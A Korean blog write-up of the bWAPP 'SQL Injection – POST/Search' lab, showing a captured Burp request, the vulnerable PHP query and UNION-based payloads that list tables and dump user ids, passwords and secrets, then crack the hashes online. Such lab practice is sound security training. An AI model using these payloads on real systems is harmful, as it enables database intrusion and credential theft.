사자자리

[bWAPP] SQL Injection – POST/Search 본문

웹해킹/bWAPP

[bWAPP] SQL Injection – POST/Search

renne 2022. 7. 30. 00:21

MISSON. 버프스위트를 이용해 사용자들의 id와 password를 획득하자.
[난이도 low]
모든 공격은 버프스위트를 이용해주세요. 공격 과정은 GET방식과 유사합니다.


Quest 1. 데이터베이스 정보를 알아내세요.

 

burp suite를 켜고 input 박스에 harry potter를 입력해봤다.

POST /bWAPP/sqli_6.php HTTP/1.1
Host: 192.168.35.41
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.35.41
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.35.41/bWAPP/sqli_6.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ko;q=0.7
Cookie: PHPSESSID=ac7206153a803eace4a691520e5cbe80; security_level=0
Connection: close

title=harry+potter&action=search

title이라는 변수에 입력한 내용이 들어간 것을 볼 수 있다.

 

<form action="/bWAPP/sqli_6.php" method="POST">
    <p>
    <label for="title">Search for a movie:</label>
    <input type="text" id="title" name="title" size="25">
    <button type="submit" name="action" value="search">Search</button>
    </p>
</form>

page source를 살펴보니, title 변수의 데이터는 submit 버튼을 누르면 /bWAPP/sqli_6.php로 가는 것을 알 수 있다.

 

bee@bee-box:~$ cd /var/www/bWAPP
bee@bee-box:/var/www/bWAPP$ cat sqli_6.php
(생략)
<?php

if(isset($_POST["title"]))
{
    $title = $_POST["title"];
    $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
    $recordset = mysql_query($sql, $link);
    if(!$recordset)
    {
        // die("Error: " . mysql_error());
?>
        <tr height="50">
            <td colspan="5" width="580"><?php die("Error: " . mysql_error()); ?></td>
            <!--
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            -->
        </tr>
<?php        
    }
    if(mysql_num_rows($recordset) != 0)
    {
        while($row = mysql_fetch_array($recordset))
        {
            // print_r($row);
?>
        <tr height="30">
            <td><?php echo $row["title"]; ?></td>
            <td align="center"><?php echo $row["release_year"]; ?></td>
            <td><?php echo $row["main_character"]; ?></td>
            <td align="center"><?php echo $row["genre"]; ?></td>
            <td align="center"><a href="http://www.imdb.com/title/<?php echo $row["imdb"]; ?>" target="_blank">Link</a></td>
        </tr>

terminal에서 sqli_6.php에 가고, $_POST["title"]을 찾아보았다.

sql이라는 변수에 SELECT * FROM movies WHERE title LIKE '%[입력한 데이터]%' 가 들어가는 것을 알 수 있다.

 

' or 1=1# 입력, 영화에 관한 데이터베이스임을 알 수 있다.

1' UNION ALL SELECT 1, @@version, 3, 4, database(), 6, 7# 입력


Quest 2. 데이터베이스에 존재하는 모든 테이블 명을 출력하세요.

1’UNION SELECT ALL 1, 2, 3, table_name, 5, 6, 7 FROM information_schema.tables# 입력


Quest 3. 사용자 정보가 들어있는 칼럼을 출력하세요.

1' UNION SELECT ALL 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name='users'# 입력

조건: table_name이 users

 

Quest 4. 사용자의 id, password, secret, login 정보를 출력해봅시다.

1' UNION SELECT ALL 1,id,password,login,secret,6,7 FROM users# 입력

 

Quest 5. 사용자의 비밀번호는 해시 값으로 암호화되어 있습니다. 해시값을 크랙해 비밀번호를 알아봅시다. (툴을 설치할 필요 없이 웹사이트를 이용하셔도 됩니다.)

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

 

웹사이트 덕분이 편안하게 해시값을 크랙할 수 있었다.

Comments